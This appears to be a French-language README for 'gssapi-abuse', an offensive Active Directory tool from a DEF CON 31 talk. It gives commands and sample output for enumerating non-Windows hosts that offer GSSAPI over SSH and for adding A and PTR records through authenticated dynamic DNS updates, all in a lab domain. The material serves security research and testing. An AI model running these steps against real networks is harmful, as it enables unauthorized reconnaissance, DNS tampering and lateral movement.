
Un outil pour énumérer les hôtes potentiels vulnérables aux abus GSSAPI dans les réseaux Active Directory
gssapi-abuse a été publié dans le cadre de ma présentation à DEF CON 31. Un article complet sur le vecteur d'abus est disponible ici : A Broken Marriage: Abusing Mixed Vendor Kerberos Stacks
L'outil possède deux fonctionnalités. La première est la capacité d'énumérer les hôtes non Windows qui sont joints à Active Directory et qui proposent une authentification GSSAPI via SSH.
La deuxième fonctionnalité est la capacité d'effectuer des mises à jour DNS dynamiques pour les hôtes abusables GSSAPI qui n'ont pas les bons enregistrements DNS de recherche directe et/ou inverse. L'authentification basée sur GSSAPI est stricte en ce qui concerne la correspondance des principaux de service, par conséquent les enregistrements DNS doivent correspondre au nom du principal de service, à la fois par nom d'hôte et par adresse IP.
gssapi-abuse nécessite une pile krb5 fonctionnelle ainsi qu'un fichier krb5.conf correctement configuré.
Sur les hôtes Windows, le logiciel MIT Kerberos doit être installé en plus des modules Python listés dans requirements.txt, il peut être obtenu sur la Page de distribution MIT Kerberos. Le fichier krb5.conf Windows se trouve dans C:\ProgramData\MIT\Kerberos5\krb5.conf
Le paquet libkrb5-dev doit être installé avant d'installer les dépendances Python.
Une fois les prérequis satisfaits, vous pouvez installer les dépendances Python via l'outil pip/pip3
pip install -r requirements.txt
Le mode énumération se connecte à Active Directory et effectue une recherche LDAP pour tous les ordinateurs qui ne contiennent pas le mot Windows dans l'attribut Système d'exploitation.
Une fois la liste des machines non Windows obtenue, gssapi-abuse tente ensuite de se connecter à chaque hôte via SSH et détermine si l'authentification basée sur GSSAPI est autorisée.
python .\gssapi-abuse.py -d ad.ginge.com enum -u john.doe -p SuperSecret!
[=] Found 2 non Windows machines registered within AD
[!] Host ubuntu.ad.ginge.com does not have GSSAPI enabled over SSH, ignoring
[+] Host centos.ad.ginge.com has GSSAPI enabled over SSH
Le mode DNS utilise Kerberos et dnspython pour effectuer une mise à jour DNS authentifiée sur le port 53 en utilisant le protocole DNS-TSIG. Actuellement, le mode dns repose sur une configuration krb5 fonctionnelle avec un TGT valide ou un ticket de service DNS ciblant un contrôleur de domaine spécifique, par exemple DNS/dc1.victim.local.
Ajout d'un enregistrement DNS A pour l'hôte ahost.ad.ginge.com
python .\gssapi-abuse.py -d ad.ginge.com dns -t ahost -a add --type A --data 192.168.128.50
[+] Successfully authenticated to DNS server win-af8ki8e5414.ad.ginge.com
[=] Adding A record for target ahost using data 192.168.128.50
[+] Applied 1 updates successfully
Ajout d'un enregistrement inverse PTR pour l'hôte ahost.ad.ginge.com. Notez que l'argument data se termine par un ., c'est important sinon l'enregistrement devient un enregistrement relatif à la zone, ce que nous ne voulons pas. Nous devons également spécifier la zone cible à mettre à jour, car les enregistrements PTR sont stockés dans des zones différentes des enregistrements A.
python .\gssapi-abuse.py -d ad.ginge.com dns --zone 128.168.192.in-addr.arpa -t 50 -a add --type PTR --data ahost.ad.ginge.com.
[+] Successfully authenticated to DNS server win-af8ki8e5414.ad.ginge.com
[=] Adding PTR record for target 50 using data ahost.ad.ginge.com.
[+] Applied 1 updates successfully
Résultats des recherches DNS directe et inverse après exécution
nslookup ahost.ad.ginge.com
Server: WIN-AF8KI8E5414.ad.ginge.com
Address: 192.168.128.1
Name: ahost.ad.ginge.com
Address: 192.168.128.50
nslookup 192.168.128.50
Server: WIN-AF8KI8E5414.ad.ginge.com
Address: 192.168.128.1
Name: ahost.ad.ginge.com
Address: 192.168.128.50